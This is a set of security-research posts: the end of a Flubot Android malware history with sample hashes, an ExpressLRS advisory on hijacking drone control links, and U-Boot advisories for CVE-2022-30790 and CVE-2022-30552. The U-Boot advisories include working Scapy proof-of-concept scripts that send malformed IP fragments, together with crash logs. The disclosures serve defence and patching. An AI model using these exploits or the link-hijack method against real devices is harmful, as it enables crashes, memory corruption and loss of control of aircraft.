There was almost no Flubot activity in summer. Our assumption is the developers were busy with their summer holidays. As we will see in the following section, TAs will recover their activity in August and October.

August-September 2021: Slow come back from Holidays [Flubot versions 4.7-4.9]

During the first days of August, after TAs possibly enjoyed a nice holiday season, Australia was added to version 4.7 in order to start distribution campaigns in that country. Only a week later, TAs released the new version 4.8, in which we found some minor changes mostly related to UI messages and alert dialogs.

One more version bump for Flubot was discovered on September, when version 4.9 came out with some more minor changes, just like the previous version 4.8. This time, new web injections were introduced in the C2 servers to steal credentials from victims. Those two new versions with minor changes (not very relevant) seems like a relaxed come back to activity. From our point of view, the most interesting thing that happened in those two months is that TAs started to distribute another malware family using the Flubot botnet. We received from C2 servers a few smishing tasks in which the fake “VoiceMail” website was serving Teabot (also known as Anatsa and Toddler) instead of Flubot.

That was very interesting because it showed that Flubot’s TAs could be also associated with this malware family or at least could be interested on selling the botnet for smishing purposes to other malware developers. As we will see, that was not the only family distributed by Flubot.

October-November 2021: ‘Android Security Update’ campaign and new big protocol changes [Flubot versions 4.9]

During October and most part of November, Flubot’s TAs didn’t bump the version number of the malware and they didn’t do very important moves during that period of time.

At the beginning of October, we saw a campaign different from the previous DHL / Correos / Fedex campaigns or the “VoiceMail” campaign. This time, TAs started to distribute Flubot as a fake security update for Android. It seems this new distribution campaign wasn’t working as expected, since TAs kept using the “VoiceMail” distribution campaign after a few days.

TAs were very quiet until late November, when they finally released new samples with important changes in the protocol used to communicate with C2 servers. After bumping the version numbers so quickly at the beginning, now TAs weren’t bumping the version number
even with a major change like this one.

This protocol change allowed the malware to communicate with the C2 servers without starting a direct connection with them. Flubot used TXT DNS requests to common public DNS servers (Google, CloudFlare and AliDNS). Then, those requests were forwarded to the actual C2 servers (which implemented DNS servers) to get the TXT record response from the servers and forward it to the malware. The stolen information from the infected device was sent encrypting it using RC4 (in a very similar way to the used in the previous protocol version) and encoding the encrypted bytes. This way, the encoded payload was used as a subdomain of the DGA generated domain. The response from C2 servers was also encrypted and encoded as the TXT record response to the TXT request, and it included the commands to execute smishing tasks for distribution campaign or the web injections used to steal credentials.

With this new protocol, Flubot was using DoH servers from well known companies such as Google and CloudFlare to establish a tunnel of sorts with the C2 servers. With this technique, detecting the malware via network traffic monitoring was very difficult, since the malware wasn’t establishing connections with unknown or malicious servers directly. Also, since it was using DoH, all the DNS requests were encrypted, so network traffic monitoring couldn’t identify those malicious DNS requests.

This major change in the protocol with the C2 servers could also explain the low activity in the previous months. Possibly developers were working on ways to improve the protocol as well as the code of both malware and C2 servers backend.

December 2021: ‘Flash Player’ campaign and DGA changes [Flubot versions 5.0-5.1]

Finally, in December the TAs decided to finally bump the version number to 5.0. This new version brought a minor but interesting change: Flubot can now receive URLs in addition to web injections HTML and JavaScript code. Before version 5.0, C2 servers would send the web injection code, which was saved on the device for future use when the victim opened one of the targeted applications in order to steal the credentials. Since version 5.0, C2 servers were sending URLs instead, so Flubot’s malware had to visit the URL and save the HTML and JavaScript source code in memory for future use.

No more new versions or changes were observed until the end of December, when the TAs wanted to say goodbye to the 2021 by releasing Flubot 5.1. The first samples of Flubot 5.1 were detected on December 31. As we will see in the following section, on January 2 Flubot 5.2 samples came out. Version 5.1 came out with some important changes on DGA. This time, TAs introduced a big list of TLDs to generate new domains, while they also introduced a new command used to receive a new DGA seed from the C2 servers – UPDATE_ALT_SEED. Based on our research, this new command was never used, since all the newly infected devices had to connect to the C2 servers using the domains generated with the hard-coded seeds.

Besides the new changes and features added in December, TAs also introduced a new campaign: “Flash Player”. This campaign was used alongside with “VoiceMail” campaign, which still was the most used to distribute Flubot. In this new campaign, a text message was sent to the victims from infected devices trying to make them install a “Flash Player” application in order to watch a fake video in which the victim appeared. The following image shows how simple the distribution website was, shown when the victim opens the link.

January 2022: Improvements in Smishing features and new ‘Direct Reply’ features [Flubot versions 5.2-5.4]

At the very beginning of January new samples for the new version of Flubot were detected. This time, version 5.2 introduced minor changes in which TAs added support for longer text messages on smishing tasks. They stopped using the usual Android’s “sendTextMessage” function and started to use “sendMultipartTextMessage” alongside “divideMessage” instead. This allowed them to use longer messages, split into multiple messages.

A few days after new sample of version 5.2 was discovered, samples of version 5.3 were detected. In this case, no new features were introduced. TAs removed some unused old code. This version seemed like a version used to clean the code. Also, three days after the first samples of Flubot 5.3 appeared, new samples of this version were detected with support for campaigns in new countries: Japan, Hong Kong, South Korea, Singapore and Thailand.

By the end of January, TAs released a new version: Flubot 5.4. This new version introduced a new and interesting feature: Direct Reply. The malware was now capable to intercept the notifications received in the infected device and automatically reply them with a configured message received from the C2 servers.

To get the message that would be used to reply notifications, Flubot 5.4 introduces a new request command called “GET_NOTIF_MSG”. As the following image shows, this request command is used to get the message to finally be used when a new notification is received.

Even though this was an interesting new feature to improve the botnet’s distribution power, it didn’t last too long. It was removed in the following version.

In the same month we detected Medusa, another Android banking malware, distributed in some Flubot smishing tasks. This means that, one more time, Flubot botnet was being used as a distribution botnet for distribution of another malware family. In August 2021 it was used to distribute Teabot. Now, it has been used to distribute Medusa.

If we try to connect the dots, it could explain the new “Direct Reply” feature and the usage of “multipart messages”. Those improvements could have been introduced due to suggestions made by Medusa’s TAs in order to use Flubot botnet as distribution service.

February-March-April 2022: New cookie stealing features [Flubot versions 5.5]

From late January – when we fist observed version 5.4 in the wild – to late February, almost one month passed until a new version was released. We believe this case is similar to previous periods of time, like August-November 2021, when TAs used that time to introduce a big change in the protocol. This time, it seems TAs were quietly working on new Flubot 5.5, which came with a very interesting feature: Cookie stealing.

The first thing we realized by looking at the new code was a little change when requesting the list of targeted apps. This request must include the list of installed applications in the infected device. As a result, the C2 server would provide the subset of apps which are targeted. In this new version, “.new” was appended to the package names of installed apps when doing the “GET_INJECTS_LIST” request.

At the beginning, the C2 servers were responding with URLs to fetch the web injections for credentials stealing when using “.new” appended to the package’s name. After some time, C2 servers started to respond with the official URL of the banks and crypto-currency platforms, which seemed strange. After analysis of the code, we realized they also introduced code to steal the cookies from the WebView used to show web injections – in this case, the targeted entity’s website. Clicks and text changes in the different UI elements of the website were also logged and sent to the C2 server, so TAs were not only stealing cookies: they were also able to steal credentials via “keylogging”.

The cookies stealing code could receive an URL, the same way it could receive a URL to fetch web injections, but this time visiting the URL it wasn’t receiving the web injection. Instead, it was receiving a new URL (the official bank or service URL) to be loaded and to steal the credentials from. In the following image, the response from a compromised website used to download the web injections is shown. In this case, it was used to get the payload for stealing GMail’s cookies (shown when the victim tries to open Android Email application).

After the victim logs in to the legitimate website, Flubot will receive and handle an event when the website ends loading. At this time, it gets the cookies and sends them to the C2 server, as can be seen in the following image.

May 2022: MMS smishing and.. The End? [Flubot versions 5.6]

Once again, after one month without new versions in the wild, a new version of Flubot came out at the beginning of May: Flubot 5.6. This is the last known Flubot version.

This new version came with a new interesting feature: MMS smishing tasks. With this new feature, TAs were trying to bypass carriers detections, which were probably put in place after more than a year of activity. A lot of users were infected and their devices where sending text messages without their knowledge.

To introduce this new feature, TAs added new request’s commands:
– GET_MMS: used to get the phone number and the text message to send (similar to the usual GET_SMS used before for smishing)
– MMS_RATE: used to get the time rate to make “GET_MMS” request and send the message (similar to the usual SMS_RATE used before for smishing).

After this version got released on May 1st, the C2 servers stopped working on May 21st. They were offline until May 25th, but they were still not working properly, since they were replying with empty responses. Finally, on June 1st, Europol published on their website that they took down the Flubot’s infrastructure with the cooperation of police from different countries. Dutch Police was the one that took down the infrastructure. It probably happened because Flubot C2 servers, at some point in 2022, changed the hosting services to a hosting service in The Netherlands, making it easier to take down.

Does it mean this is the end of Flubot? Well, we can’t know for sure, but it seems police wasn’t able to get the RSA private keys since they didn’t make the C2 servers send commands to detect and remove the malware from the devices.

This means that the TAs should be able to bring Flubot back by just registering new domains and setting up all the infrastructure in a “safer” country and hosting service. TAs could recover their botnet, with less infected devices due to the offline time, but still with some devices to continue sending smishing messages to infect new devices. It depends on the TAs intentions, since it seems that the police hasn’t found them yet.


Flubot has been one of the most – if not the most – active banking malware family of the last few years. Probably this was due to their powerful distribution strategy: smishing. This malware has been using the infected devices to send text messages to the phone numbers which were stolen from the victims smartphones. But this, in combination with fake parcel shipping messages in a period of time in which everybody is used to buy things online has made it an important threat.

As we have seen in this post, TAs have introduced new features very frequently, which made Flubot even more dangerous and contagious. A significant part of the updates and new features have been introduced to improve the distribution capabilities of the malware in different countries, while others have been introduced to improve the credentials and information stealing capabilities.

Some updates delivered major changes in the protocol, making it more difficult to detect via network monitoring, with a DoH tunnel-based protocol which is really uncommon in the world of Android Malware. It seems that TAs have even been interested on selling some kind of “smishing distribution” service to other TAs, as we have seen with the association with Teabot and Medusa.

After one year and a half, Dutch Police was able to take down the C2 servers after TAs started using a Dutch hosting service. It seems to be the end of Flubot, at least for now.

TAs still can move the infrastructure back to a “safer” hosting and register new DGA domains to recover their botnet. It’s too soon to determine that was the end of Flubot. Time will tell what will happen with this Android malware family, which has been one of the most important and interesting malware families in the last few years.

List of samples by version

0.1 – 5e0311fb1d8dda6b5da28fa3348f108ffa403f3a3cf5a28fc38b12f3cab680a0
0.5 – d3af7d46d491ae625f66451258def5548ee2232d116f77757434dd41f28bac69
1.2 – c322a23ff73d843a725174ad064c53c6d053b6788c8f441bbd42033f8bb9290c
1.7 – 75c2d4abecf1cc95ca8aeb820e65da7a286c8ed9423630498a95137d875dfd28
1.9 – 9420060391323c49217ce5d40c23d3b6de08e277bcf7980afd1ee3ce17733da2
2.1 – 13013d2f96c10b83d79c5b4ecb433e09dbb4f429f6d868d448a257175802f0e9
2.2 – 318e4d4421ce1470da7a23ece3db5e6e4fe9532e07751fc20b1e35d7d7a88ec7
2.8 – f3257b1f0b2ed1d67dfa1e364c4adc488b026ca61c9d9e0530510d73bd1cf77e
3.1 – affaf5f9ba5ea974c605f09a0dd7776d549e5fec2f946057000abe9aae1b3ce1
3.2 – 865aaf13902b312a18abc035f876ad3dfedce5750dba1f2cc72aabd68d6d1c8f
3.4 – ca18a3331632440e9b86ea06513923b48c3d96bc083310229b8c5a0b96e03421
3.5 – 43a2052b87100cf04e67c3c8c400fa203e0e8f08381929c935cff2d1f80f0729
3.6 – fd5f7648d03eec06c447c1c562486df10520b93ad7c9b82fb02bd24b6e1ec98a
3.7 – 1adba4f7a2c9379a653897486e52123d7c83807e0e7e987935441a19eac4ce2c
3.9 – 1cf5c409811bafdc4055435a4a36a6927d0ae0370d5197fcd951b6f347a14326
4.0 – 8e2bd71e4783c80a523317afb02d26cac808179c57834c5c599d976755b1dabd
4.1 – ec3c35f17e539fe617ca2e73da4a51dc8efedda94fd1f8b50a5b77d63e58ba5c
4.2 – 368cebac47e36c81fb2f1d8292c6c89ccb10e3203c5927673ce05ba29562f19c
4.3 – dab4ce5fbb1721f24bbb9909bb59dcc33432ccf259ee2d3a1285f47af478416d
4.4 – 6a03efa4ffa38032edfb5b604672e8c9e01a324f8857b5848e8160593dfb325e
4.5 – f899993c6109753d734b4faaf78630dc95de7ea3db78efa878da7fbfc4aee7cd
4.6 – ffaebdbc8c2ecd63f9b97781bb16edc62b2e91b5c69e56e675f6fbba2d792924
4.7 – a0dd408a893f4bc175f442b9050d2c328a46ff72963e007266d10d26a204f5af
4.8 – a0181864eed9294cac0d278fa0eadabe68b3adb333eeb2e26cc082836f82489d
4.9 – 831334e1e49ec7a25375562688543ee75b2b3cc7352afc019856342def52476b
4.9 – 8c9d7345935d46c1602936934b600bb55fa6127cbdefd343ad5ebf03114dbe45 (DoH tunnel protocol)
5.0 – 08d8dd235769dc19fb062299d749e4a91b19ef5ec532b3ce5d2d3edcc7667799
5.1 – ff2d59e8a0f9999738c83925548817634f8ac49ec8febb20cfd9e4ce0bf8a1e3
5.2 – 4859ab9cd5efbe0d4f63799126110d744a42eff057fa22ff1bd11cb59b49608c
5.3 – e9ff37663a8c6b4cf824fa65a018c739a0a640a2b394954a25686927f69a0dd4
5.4 – df98a8b9f15f4c70505d7c8e0c74b12ea708c084fbbffd5c38424481ae37976f
5.5 – 78d6dc4d6388e1a92a5543b80c038ac66430c7cab3b877eeb0a834bce5cb7c25
5.6 – 16427dc764ddd03c890ccafa61121597ef663cba3e3a58fc6904daf644467a7c

Technical Advisory – ExpressLRS vulnerabilities allow for hijack of control link

30 June 2022 at 18:15
 Vendor: ExpressLRS
 Vendor URL: https://expresslrs.org
 Versions affected: 1.x, 2.x
 Author: Richard Appleby
 Severity: Medium 7.5 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


ExpressLRS is a high-performance open source radio control link. It aims to provide a low latency radio control link while also achieving maximum range. It runs on a wide variety of hardware in both 900 Mhz and 2.4 GHz frequencies. ExpressLRS is very popular in FPV drone racing and other remote control aircraft.

Using only a standard ExpressLRS compatible transmitter, it is possible to take control of any receiver after observing traffic from a corresponding transmitter.

ExpressLRS uses a ‘binding phrase’, built into the firmware at compile time to bind a transmitter to a receiver. ExpressLRS states that the binding phrase is not for security, it is anti-collision.

Due to weaknesses related to the binding phase, it is possible to extract part of the identifier shared between the receiver and transmitter. A combination of analysis and brute force can be utilised to determine the remaining portion of the identifier. Once the full identifier is discovered, it is then possible to use an attacker’s transmitter to control the craft containing the receiver with no knowledge of the binding phrase. This is possible entirely in software using standard ExpressLRS compatible hardware.


This attack could result in full control over the target craft. An aircraft already in the air would likely experience control issues causing a crash.


The binding phrase is passed through the MD5 cryptographic hash algorithm to obtain a unique byte sequence. Of this sequence, the first 6 bytes are stored as a shared UID between the receiver and the transmitter. The last four bytes of the UID are used as a seed to generate a random frequency hopping spread spectrum (FHSS) sequence. Both the transmitter and receiver hop between frequencies in the FHSS sequence in sync.

A ‘sync’ packet is sent from the transmitter to the receiver to at the start of a connection and at regular intervals through the FHSS sequence. CRC checks, initialised using the last two bytes of the UID are used to ensure that packets has been received intact.

The following diagram indicates the relationship between these elements.

Three weaknesses were identified, which allow for the discovery of the four bytes of the required UID to take control of the link.

Two of these issues relate to the contents of the sync packet.

  1. The sync packet contains the final three bytes of the UID. These bytes are used to verify that the transmitter has the same binding phrase as the receiver, to avoid collision. Observation of a single sync packet therefor gives 75% of the bytes required to take over the link.
  2. The CRC initialiser uses the final two bytes of the UID sent with the sync packet, making it extremely easy to create a CRC check.

The combination of these two issues means that only one byte is unknown from the UID used to generate the FHSS sequence. To find the last byte, all possible byte values were used to create 256 different possible FHSS sequences. The third weakness occurs in the FHSS sequence generation.

  1. Due to weaknesses in the random number generator, the second 128 values of the final byte of the 4 byte seed produce the same FHSS sequence as the first 128.

By choosing a frequency from the FHSS sequence, and observing the timings relative to a received sync packet, it is possible to determine which entries in the brute forced 128 FHSS sequences correlate with the final byte of the UID.

Once the final UID byte is discovered, the UID can be set in the transmitter and it will connect with the receiver.

It is acknowledged that the FHSS sequence can also be discovered by observing packets over the air without brute forcing the sequences, but that this can be more time consuming and error prone.


The security of the ExpressLRS can be improved with the following changes.

  1. Do not send the UID over the control link. The data used to generate the FHSS sequence should not be sent over the air.
  2. Improve the random number generator. This could involve using a more secure algorithm, or adjusting the existing algorithm to work around repeated sequences.

Disclosure Timeline

  • December 1, 2021: Initial contact with ExpressLRS Github repository owner
  • February 3, 2022: Technical advisory draft sent to repository owner
  • February 8, 2022: Github pull request for patch submitted to repository: https://github.com/ExpressLRS/ExpressLRS/pull/1411
  • February 9/10, 2022: Discussions regarding size of pull request and effectiveness between ExpressLRS developer and NCC Group
  • March 4, 2022: Github pull request submitted to ExpressLRS which addressed size issues
  • March 5, 2022: Pull request rejected by ExpressLRS maintainer; differing opinions between NCC and developers
  • June 30 2022: Advisory published

Updated: Technical Advisory and Proofs of Concept – Multiple Vulnerabilities in U-Boot (CVE-2022-30790, CVE-2022-30552)

16 June 2022 at 21:15

By Nicolas Bidron, and Nicolas Guigo.

[Editor’s note: This is an updated/expanded version of these advisories which we originally published on June 3 2022.]

U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems such as ChromeOS and Android Devices.

Two vulnerabilities were uncovered in the IP Defragmentation algorithm implemented in U-Boot, with links to the associated technical advisories below:

Exploitation proof of concepts and results are provided in each technical advisories below.

Technical Advisories:

Hole Descriptor Overwrite in U-Boot IP Packet Defragmentation Leads to Arbitrary Out of Bounds Write Primitive (CVE-2022-30790)

Project U-Boot
Project URL https://source.denx.de/u-boot/u-boot
Versions affected all versions up to commit b85d130ea0cac152c21ec38ac9417b31d41b5552
Systems affected All systems defining CONFIG_IP_DEFRAG
CVE identifier CVE-2022-30790
Advisory URL link
Risk Critical 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Authors Nicolas Guigo, Nicolas Bidron


U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.


In u-boot/net/net.c the __net_defragment function line 900 through 1018.


The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a Hole Descriptor overwrite attack which ultimately leads to an arbitrary write primitve.


In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len (IP packet header’s total Length) higher than IP_HDR_SIZE and strictly lower than IP_HDR_SIZE+8 leads to a value for len comprised between 0 and 7. This ultimately results in a truncated division by 8 resulting in a value of 0, forcing the hole metadata and fragment to point to the same location. The subsequent memcpy then overwrites the hole metadata with the fragment data. Through a second fragment, this attacker-controlled metadata can be exploited to perform a controlled write to an arbitrary offset.

This bug is only exploitable from the local network as it requires crafting a malformed packet which would most likely be dropped during routing. However, this it can be effectively leveraged to root linux based embedded devices locally.

static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
	static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
	static u16 first_hole, total_len;
	struct hole *payload, *thisfrag, *h, *newh;
	struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
	uchar *indata = (uchar *)ip;
	int offset8, start, len, done = 0;
	u16 ip_off = ntohs(ip->ip_off);

	/* payload starts after IP header, this fragment is in there */
	payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
	offset8 =  (ip_off & IP_OFFS);
	thisfrag = payload + offset8;
	start = offset8 * 8;
	len = ntohs(ip->ip_len) - IP_HDR_SIZE;

The last line of the previous excerpt from u-boot/net/net.c shows how the attacker can control the value of len to be strictly lower than 8 by issuing a packet with ip_len between 21 and 27 (IP_HDR_SIZE has a value of 20).

Also note that offset8 here is 0 which leads to thisfrag = payload.

	} else if (h >= thisfrag) {
		/* overlaps with initial part of the hole: move this hole */
		newh = thisfrag + (len / 8);
		*newh = *h;
		h = newh;
		if (h->next_hole)
			payload[h->next_hole].prev_hole = (h - payload);
		if (h->prev_hole)
			payload[h->prev_hole].next_hole = (h - payload);
			first_hole = (h - payload);

	} else {

Later in the same function, execution reaches the above code path. Here, len / 8 evaluates to 0 leading to newh = thisfrag. Also note that first_hole here is 0 since h and payload point to the same location.

	/* finally copy this fragment and possibly return whole packet */
	memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);

In the above excerpt the call to memcpy() overwrites the hole metadata (since thisfrag and h both point to the same location) with arbitrary data from the fragmented IP packet data. With a len value of 6, last_byte, next_hole, and prev_hole of the first_hole all end- up attacker-controlled.

Finally the arbitrary write is triggered by sending a second fragment packet, whose offset and length only need to fit within the hole pointed to by the previously controlled metadata (next_hole) set from the first packet.


This bug was fixed in commit b85d130ea0cac152c21ec38ac9417b31d41b5552 on U-Boot master’s branch. Update to the latest version to obtain the fix.

Proof of Concept for exploitation and Results

Exploitation was attempted against a build of U-Boot for Raspberry Pi 4 with IP_DEFRAG enabled. The device was set to attempt loading kernel through U-Boot’s dhcp method, this ensures that the devices gets an IP address and enables its ethernet interface, allowing the malicious payload to be delivered by an adjacent machine on the network (connected to the same switch).

The following Python script was used to send the first malicious packet that will overwrite the initial __net_defragment() hole metadata with contents from a own specially crafted hole structure. The second packet effectively executed the memory overwrite at the offset set up by the first packet’s next_hole, which led to a crash but the payload can be adjusted to achieve controlled memory writes against the target.

import ctypes
from sys import argv
from scapy.all import *

# struct endianness based on arch
class hole(ctypes.LittleEndianStructure):
  _pack_ = 1
  _fields_ = [('last_byte', ctypes.c_ushort),
              ('next_hole', ctypes.c_ushort),
              ('prev_hole', ctypes.c_ushort),
              ('unused', ctypes.c_ushort)]
  def __init__(self, lb, nh, ph):
    return super().__init__(lb, nh, ph, 0xFEFE)

# U-Boot IP Fragment Hole Overwrite
def frag_hole_overwrite():
  # Prepare the malicious hole
  hh = hole(0x10, 0x07FD, 0xFFFF)
  payload = bytes(hh) + bytes(0x20)
  packet1 = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0, len=27)/Raw(payload)
  sendp(packet1, iface='virbr0')
  # Trigger the unsafe write in the overlap case
  payload = bytes(0x10)
  packet2 = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0)/Raw(payload)
  sendp(packet2, iface='eth0') iface=virbr0 if launched against a qemu instance

if __name__ == '__main__':
  global mac, ip
  mac = argv[1]
  ip = argv[2]

The above script can be launched with the following command:

> ./fragger_poc.py dc:a6:32:ef:5f:0a

This will result in the following (log as shown on U-Boot’s console):

U-Boot 2022.04-dirty (May 26 2022 - 00:53:40 -0700)

DRAM:  7.1 GiB
RPI 4 Model B (0xd03114)
Core:  202 devices, 13 uclasses, devicetree: board
MMC:   [email protected]: 1, [email protected]: 0
Loading Environment from FAT... Unable to read "uboot.env" from mmc0:1... 
In:    serial
Out:   vidconsole
Err:   vidconsole
Net:   eth0: [email protected]
PCIe BRCM: link up, 5.0 Gbps x1 (SSC)
starting USB...
Bus xhci_pci: Register 5000420 NbrPorts 5
Starting the controller
scanning bus xhci_pci for devices... 2 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot:  0 
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
146 bytes read in 9 ms (15.6 KiB/s)
## Executing script at 02400000
[email protected] Waiting for PHY auto negotiation to complete. done
BOOTP broadcast 1
DHCP client bound to address (23 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server; our IP address is
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T "Synchronous Abort" handler, esr 0x8a000000
elr: fffffffff8165fff lr : 00000000000e43a8 (reloc)
elr: 000000000000ffff lr : 0000000007f8e3a8
x0 : 0000000007b9b942 x1 : 000000000000007a
x2 : 0000000000000040 x3 : 000000000000ffff
x4 : 00000000000001ad x5 : 0000000007b2f000
x6 : 0000000000000024 x7 : 0000000000000000
x8 : 000000000000000b x9 : 0000000000000008
x10: 00000000ffffffe0 x11: 0000000000000006
x12: 000000000001869f x13: 0000000007b168cc
x14: 0000000007b18b00 x15: 0000000000000002
x16: 000000000000ffff x17: 2e8324b208000000
x18: 0000000007b25d60 x19: 000000000000007a
x20: 0000000007b2f130 x21: 0000000000000020
x22: 0000000007fcf000 x23: 0000000007fc9000
x24: 0000000007fcb000 x25: 0000000007fc9000
x26: 0000000007fc9628 x27: 0000000007fcf000
x28: 0000000007fcf000 x29: 0000000007b16b40

Code: 4bcbc7cb 46890822 c96a480a b2353b57 (3e972802) 
Resetting CPU ...

resetting ...

Large buffer overflow leads to DoS in U-Boot IP Packet Defragmentation Code (CVE-2022-30552)

Project U-Boot
Project URL https://source.denx.de/u-boot/u-boot
Versions affected all versions up to commit b85d130ea0cac152c21ec38ac9417b31d41b5552
Systems affected All systems defining CONFIG_IP_DEFRAG
CVE identifier CVE-2022-30552
Advisory URL link
Risk High 7.1 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)
Authors Nicolas Guigo, Nicolas Bidron


U-boot is a popular boot loader for embedded systems with implementations for a large number of architectures and prominent in most linux based embedded systems.


u-boot/net/net.c lines 915 and 1011.


The U-Boot implementation of RFC815 IP DATAGRAM REASSEMBLY ALGORITHMS is susceptible to a buffer overflow through a specially crafted fragmented IP Datagram with an invalid total length which causes a denial of service.


In compiled versions of U-Boot that define CONFIG_IP_DEFRAG, a value of ip->ip_len (IP packet header’s total length) lower than IP_HDR_SIZE leads to len taking a negative value, which ultimately results in a buffer overflow during the subsequent call to memcpy() that uses len as its count parameter.

This bug is only exploitable from the local network as it requires crafting a malformed packet with an ip_len value lower than the minimum accepted total length (21 as defined in the IP specification document: RFC791) which would most likely be dropped during routing.

static struct ip_udp_hdr *__net_defragment(struct ip_udp_hdr *ip, int *lenp)
	static uchar pkt_buff[IP_PKTSIZE] __aligned(PKTALIGN);
	static u16 first_hole, total_len;
	struct hole *payload, *thisfrag, *h, *newh;
	struct ip_udp_hdr *localip = (struct ip_udp_hdr *)pkt_buff;
	uchar *indata = (uchar *)ip;
	int offset8, start, len, done = 0;
	u16 ip_off = ntohs(ip->ip_off);

	/* payload starts after IP header, this fragment is in there */
	payload = (struct hole *)(pkt_buff + IP_HDR_SIZE);
	offset8 =  (ip_off & IP_OFFS);
	thisfrag = payload + offset8;
	start = offset8 * 8;
	len = ntohs(ip->ip_len) - IP_HDR_SIZE;

The last line of the previous excerpt from u-boot/net/net.c shows where the underflow to a negative len value occurs if ip_len is set to a value strictly lower than 20 (IP_HDR_SIZE being 20). Also note that in the above excerpt the pkt_buff buffer has a size of CONFIG_NET_MAXDEFRAG which defaults to 16 KB but can range from 1KB to 64 KB depending on configurations.

	/* finally copy this fragment and possibly return whole packet */
	memcpy((uchar *)thisfrag, indata + IP_HDR_SIZE, len);

In the above excerpt the memcpy() overflows the destination by attempting to make a copy of nearly 4 gigabytes in a buffer that’s designed to hold CONFIG_NET_MAXDEFRAG bytes at most, which leads to a DoS.


This bug was fixed in commit b85d130ea0cac152c21ec38ac9417b31d41b5552 on U-Boot master’s branch. Update to the latest version to obtain the fix.

Proof of Concept for exploitation and Results

Exploitation was attempted against a build of U-Boot for Raspberry Pi 4 with IP_DEFRAG enabled. The device was set to attempt loading kernel through U-Boot’s dhcp method, this ensures that the devices gets an IP address and enables its ethernet interface, allowing the malicious payload to be delivered by an adjacent machine on the network (connected to the same switch).

The following Python script is used to send the single malicious packet that will underflow len, ultimately overflowing the buffer (thisfrag) and crashing the device.

import ctypes
from sys import argv
from scapy.all import *

# U-Boot Fragment Underflow
def frag_underflow():
  packet = Ether(dst=mac)/IP(dst=ip, flags='MF', frag=0x0, len=19)/UDP()
  sendp(packet, iface='eth0') # iface=virbr0 if launched against a qemu instance

if __name__ == '__main__':
  global mac, ip
  mac = argv[1]
  ip = argv[2]

The above script can be launched with the following command:

> ./fragger_poc.py dc:a6:32:ef:5f:0a

This will result in the following (log as shown on U-Boot’s console):

U-Boot 2022.04-dirty (May 26 2022 - 00:53:40 -0700)

DRAM:  7.1 GiB
RPI 4 Model B (0xd03114)
Core:  202 devices, 13 uclasses, devicetree: board
MMC:   [email protected]: 1, [email protected]: 0
Loading Environment from FAT... Unable to read "uboot.env" from mmc0:1... 
In:    serial
Out:   vidconsole
Err:   vidconsole
Net:   eth0: [email protected]
PCIe BRCM: link up, 5.0 Gbps x1 (SSC)
starting USB...
Bus xhci_pci: Register 5000420 NbrPorts 5
Starting the controller
scanning bus xhci_pci for devices... 2 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot:  0 
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found U-Boot script /boot.scr
146 bytes read in 9 ms (15.6 KiB/s)
## Executing script at 02400000
BOOTP broadcast 1
DHCP client bound to address (18 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server; our IP address is
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T T T 
Retry count exceeded; starting again
SCRIPT FAILED: continuing...
libfdt fdt_check_header(): FDT_ERR_BADMAGIC
MMC Device 2 not found
no mmc device at slot 2

Device 0: unknown device
BOOTP broadcast 1
DHCP client bound to address (21 ms)
*** Warning: no boot file name; using 'C0A8005A.img'
Using [email protected] device
TFTP from server; our IP address is
Filename 'C0A8005A.img'.
Load address: 0x1000000
Loading: T T T T T T T T "Synchronous Abort" handler, esr 0x96000046
elr: 00000000000e06e8 lr : 00000000000e5174 (reloc)
elr: 0000000007f8a6e8 lr : 0000000007f8f174
x0 : 0000000007fcb51c x1 : 0000000007b75964
x2 : ffffffffffffffff x3 : 0000000000234ae4
x4 : 0000000007fcb51c x5 : 0000000000000000
x6 : 0000000000000000 x7 : 00000000ffffffff
x8 : 0000000000000000 x9 : 0000000000000008
x10: 00000000ffffffe0 x11: 0000000007fcb514
x12: 000000000001869f x13: 0000000007b17d4c
x14: 0000000007b18b00 x15: 0000000000000002
x16: 0000000007f5cc84 x17: 2e8324b208000000
x18: 0000000007b25d60 x19: 0000000007b75942
x20: 0000000007fcb500 x21: 0000000007fa0fd0
x22: 0000000007f98156 x23: 00000000ffffffff
x24: 0000000007fc9000 x25: 0000000000000000
x26: 0000000007fcb514 x27: 0000000007fcb51c
x28: 0000000007b75950 x29: 0000000007b17f30

Code: cb030004 cb030021 17fffff0 38636825 (38236885) 
Resetting CPU ...

resetting ...

Disclosure Timeline

May 18th 2022: Initial e-mail from NCC to U-boot maintainers announcing two vulnerabilities were identified. U-Boot maintainers responded indicating that the disclosure process is to be handled publicly through U-Boot’s mailing list.

May 18th 2022: NCC posted a full writeup of the two vulnerabilities identified to U-Boot’s public mailing list.

May 25th 2022: a U-Boot maintainer indicated on the mailing list that they will implement a fix to the two findings.

May 26th 2022: a patch has been proposed by U-Boot maintainers to fix both CVEs through the mailing list.

May 31st 2022: U-boot maintainers and NCC Group agree to publishing the advisories in advance of patch deployment, given the public mailing-list-based discussion of the vulnerability and proposed fixes.

